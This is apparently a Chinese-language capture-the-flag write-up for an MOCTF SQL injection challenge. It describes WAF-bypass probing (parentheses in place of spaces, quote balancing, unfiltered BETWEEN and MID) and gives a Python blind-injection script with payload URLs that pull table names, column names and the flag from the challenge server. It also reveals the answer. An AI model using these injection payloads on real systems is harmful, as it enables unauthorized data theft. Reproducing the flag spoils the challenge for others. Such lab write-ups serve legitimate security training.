1. 程式人生 > >MOCTF 簡單註入,記錄一下盲註腳本

MOCTF 簡單註入,記錄一下盲註腳本

字符型註入 where als 過濾 無法 語義 sql 原來 輸出

最近在練習sql註入寫腳本,記錄一下思路,剛學的and 1=1也拿出來溜溜

http://119.23.73.3:5004/?id=1

首先,沒有被過濾是正常顯示。  
沒有被過濾但是查詢不到就是空白,比如?id=99999
waf過濾關鍵詞,提示whatfuck

我首先判斷的是有沒有用trim()函數,要知道trim函數和過濾是不一樣的。

區別很簡單,舉個例子。trim默認移除字符串左右兩邊的空格

 http://119.23.73.3:5004/?id=1(此處1後邊有空格)
 如果使用了trim()函數,也過濾掉了空格。
 那麽這個不會出waf的,而是會正常顯示id=1的內容。
 會讓你以為空格並沒有過濾,是因為trim函數把空格去掉後才用waf函數進行的判斷。  

測試的方法很簡單?id=1 1,讓空格在裏面就好了。

發現過濾了空格,尋找能夠代替空格的字符。

%20 %09 %0a %0b %0c %0d %a0 %00 /**/    ()  

發現只有()沒有被過濾。

判斷是整形註入還是字符型註入,?id=1-0,發現不是id=1的界面,不是整形註入

判斷id的保護是什麽?首先猜測是引號,輸入1‘1,(這裏為了排除trim函數的影響),發現沒有出現waf,但是會出現空白。所以是單引號保護,因為單引號沒有被過濾,會匹配原來保護id的兩個單引號的前一個,導致了有一了孤零零的單引號沒有人和他配對,就會出錯,什麽也查不出來。

判斷截斷字符有沒有被過濾,發現嘗試%23,--+,--%20都會被過濾。

所以考慮and ‘1這樣繞過,匹配最後的那個‘,不讓他孤零零,有任何他匹配就不會出錯。

判斷其他的過濾字符

union被過濾,無法使用聯合查詢
> < like regexp被過濾,但是=沒有被過濾,between and 也沒有被過濾。  
or被過濾,information這個一會再說,有點特殊。  
mid,ascii沒有被過濾,逗號也沒有被過濾。

判斷邏輯

http://119.23.73.3:5004/?id=1%27and(select(0))and%271
http://119.23.73.3:5004/?id=1%27and(select(1))and%271  

發現可以判斷出來註入的邏輯,只要構造語句讓select(0)和select(1)裏面的1,0值出現就可以判斷了。

腳本,py3

import requests

shiliu="0x20"
zuihou="0x7f"
i=1
while True:
    #http://119.23.73.3:5004/?id=1%27and(select(mid((select(database())),1,1))=%27m%27)and%271 #MOCTF
    #url="http://119.23.73.3:5004/?id=1%27and(select(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=‘moctf‘)between("+shiliu+")and(0x7f))and%271"  #DO_Y0U_L1KE_LONG_T4BLE_NAME,NEWS
    #url="http://119.23.73.3:5004/?id=1%27and(select(select(group_concat(column_name))from(information_schema.columns)where(table_name)=‘do_y0u_l1ke_long_t4ble_name‘)between("+shiliu+")and(0x7f))and%271"  #D0_YOU_ALS0_L1KE_VERY_LONG_COLUMN_NAME
    url="http://119.23.73.3:5004/?id=1%27and(select(ascii(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),"+str(i)+",1)))between("+shiliu+")and(0x7f))and%271"  #D0_YOU_ALS0_L1KE_VERY_LONG_COLUMN_NAME
    res=requests.get(url)
    #print(url)


#MOCTF{B1IND_SQL_1NJECTI0N_G0OD}

    if "Hello" not in res.text:
        i+=1
        x=hex(int(shiliu,16)-1)
        if ‘20‘ in x:
            break;
        print(x)
        zuihou = shiliu + zuihou.replace("0x","")



        shiliu="0x20"
        #shiliu=x+shiliu.replace("0x","")   #跑前三個的時候這個不能註釋掉,跑最後一個得註釋掉



    shiliu=str(hex(int(shiliu,16)+1))

數據庫我是手動測試的,是moctf,然後剩下的,一開始偷了懶,沒用ascii跑,結果flag大小寫都提交不上,原因是flag有大寫也有小寫,數據庫是對大小寫不敏感的,用ascii就可以了

第一個語句我沒用腳本跑,自己用手試出來的。

moctf{b1ind_SQL_1njecti0n_g0od}  
兄弟們不會做的就問啊,輸出一下url,挨個看看怎麽跑的,直接提交flag沒啥用  

最後說一下那個or被過濾了,為什麽information沒有被過濾。

information確實被過濾了,但是information只要加上其他為被過濾的字符,也不會被過濾。

為此還去群裏問了下,

出題人:Waf加了智能識別語義,information語境就不過濾,這樣聽起來會不會更牛逼

MOCTF 簡單註入,記錄一下盲註腳本